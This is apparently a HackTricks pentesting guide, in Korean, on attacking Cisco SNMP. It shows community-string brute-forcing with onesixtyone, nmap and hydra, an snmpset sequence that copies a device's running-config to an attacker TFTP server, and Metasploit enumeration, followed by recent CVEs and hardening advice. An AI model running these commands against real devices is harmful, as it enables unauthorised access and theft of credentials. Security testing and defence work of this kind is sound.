Cisco SNMP

Reading time: 4 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Pentesting Cisco Networks

SNMP는 일반 메시지에 대해 161/UDP 포트와 트랩 메시지에 대해 162/UDP 포트를 사용하여 UDP에서 작동합니다. 이 프로토콜은 SNMP 에이전트와 관리자 간의 통신을 가능하게 하는 평문 "비밀번호" 역할을 하는 커뮤니티 문자열에 의존합니다. 이러한 문자열은 접근 수준을 결정하며, 특히 읽기 전용(RO) 또는 읽기-쓰기(RW) 권한을 설정합니다.

고전적이지만 여전히 매우 효과적인 공격 벡터는 커뮤니티 문자열을 무차별 대입하여 인증되지 않은 사용자에서 장치 관리자(RW 커뮤니티)로 상승하는 것입니다. 이 작업을 위한 실용적인 도구는 onesixtyone:

bash
onesixtyone -c community_strings.txt -i targets.txt

다른 빠른 옵션은 Nmap NSE 스크립트 snmp-brute 또는 Hydra의 SNMP 모듈입니다:

bash
nmap -sU -p161 --script snmp-brute --script-args brute.community=wordlist 10.0.0.0/24
hydra -P wordlist.txt -s 161 10.10.10.1 snmp

SNMP를 통한 구성 덤프 (CISCO-CONFIG-COPY-MIB)

RW 커뮤니티를 얻으면 CLI 접근 없이 CISCO-CONFIG-COPY-MIB (1.3.6.1.4.1.9.9.96)를 악용하여 실행 중인 구성/시작 구성을 TFTP/FTP 서버로 복사할 수 있습니다. 두 가지 일반적인 접근 방식은 다음과 같습니다:

  1. Nmap NSE – snmp-ios-config
bash
nmap -sU -p161 --script snmp-ios-config \
--script-args creds.snmp=private 192.168.66.1

스크립트는 복사 작업을 자동으로 조정하고 구성을 stdout에 출력합니다.

  1. 수동 snmpset 시퀀스
bash
# Copy running-config (4) to a TFTP server (1) – random row id 1234
snmpset -v2c -c private 192.168.66.1 \
1.3.6.1.4.1.9.9.96.1.1.1.1.2.1234 i 1 \    # protocol = tftp
1.3.6.1.4.1.9.9.96.1.1.1.1.3.1234 i 4 \    # sourceFileType = runningConfig
1.3.6.1.4.1.9.9.96.1.1.1.1.4.1234 i 1 \    # destFileType   = networkFile
1.3.6.1.4.1.9.9.96.1.1.1.1.5.1234 a 10.10.14.8 \ # TFTP server IP
1.3.6.1.4.1.9.9.96.1.1.1.1.6.1234 s \"backup.cfg\" \\
1.3.6.1.4.1.9.9.96.1.1.1.1.14.1234 i 4       # rowStatus = createAndGo

행 식별자는 일회성입니다; 5분 이내에 재사용하면 inconsistentValue 오류가 발생합니다.

파일이 TFTP 서버에 있으면 자격 증명(enable secret, username <user> secret 등)을 검사하거나 수정된 구성을 장치로 다시 푸시할 수 있습니다.


Metasploit goodies

  • cisco_config_tftp – 동일한 MIB를 악용한 후 TFTP를 통해 running-config/startup-config를 다운로드합니다.
  • snmp_enum – 장치 인벤토리 정보, VLAN, 인터페이스 설명, ARP 테이블 등을 수집합니다.
bash
use auxiliary/scanner/snmp/snmp_enum
set RHOSTS 10.10.100.10
set COMMUNITY public
run

최근 Cisco SNMP 취약점 (2023 – 2025)

벤더 권고 사항을 추적하는 것은 참여 내에서 제로데이-투-엔데이 기회를 범위 지정하는 데 유용합니다:

연도CVE영향을 받는 기능영향
2025CVE-2025-20174SNMP 서브시스템조작된 패킷이 IOS/IOS-XE (v1/v2c/v3)에서 인증된 DoS (재시작)를 유발합니다.
2024CVE-2024-20373IPv4 ACL 처리잘못 구성된 확장 ACL이 조용히 실패하여 유효한 커뮤니티/사용자가 알려진 경우 인증되지 않은 SNMP 폴링을 허용합니다.
2025(아직 CVE 없음)SNMPv3 구성 제한 우회유효한 v3 사용자가 거부되어야 하는 주소에서 폴링할 수 있습니다.

악용 가능성은 종종 커뮤니티 문자열이나 v3 자격 증명을 소유하는 데 여전히 의존합니다. 이는 무작위 대입 공격이 여전히 관련성이 있는 또 다른 이유입니다.


강화 및 탐지 팁

  • 수정된 IOS/IOS-XE 버전으로 업그레이드하십시오 (위의 CVE에 대한 Cisco 권고 참조).
  • v1/v2c보다 authPriv (SHA-256/AES-256)를 사용하는 SNMPv3를 선호하십시오.
snmp-server group SECURE v3 priv
snmp-server user monitor SECURE v3 auth sha <authpass> priv aes 256 <privpass>
  • SNMP를 관리 VRF에 바인딩하고 표준 번호가 매겨진 IPv4 ACL로 제한하십시오 (확장된 이름 ACL은 위험합니다 – CVE-2024-20373).
  • RW 커뮤니티를 비활성화하십시오; 운영상 필요할 경우 ACL 및 뷰로 제한하십시오: snmp-server community <string> RW 99 view SysView
  • 다음을 모니터링하십시오:
  • UDP/161 급증 또는 예상치 못한 출처 (SIEM 규칙).
  • 비대역 구성 변경을 나타내는 CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource 이벤트.
  • 특정 DoS 벡터를 줄이기 위해 SNMPv3 로깅snmp-server packetsize 1500을 활성화하십시오.

참조

  • Cisco: Cisco 장치 간 구성 복사 방법
  • Cisco 보안 권고 cisco-sa-snmp-uwBXfqww (CVE-2024-20373)

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기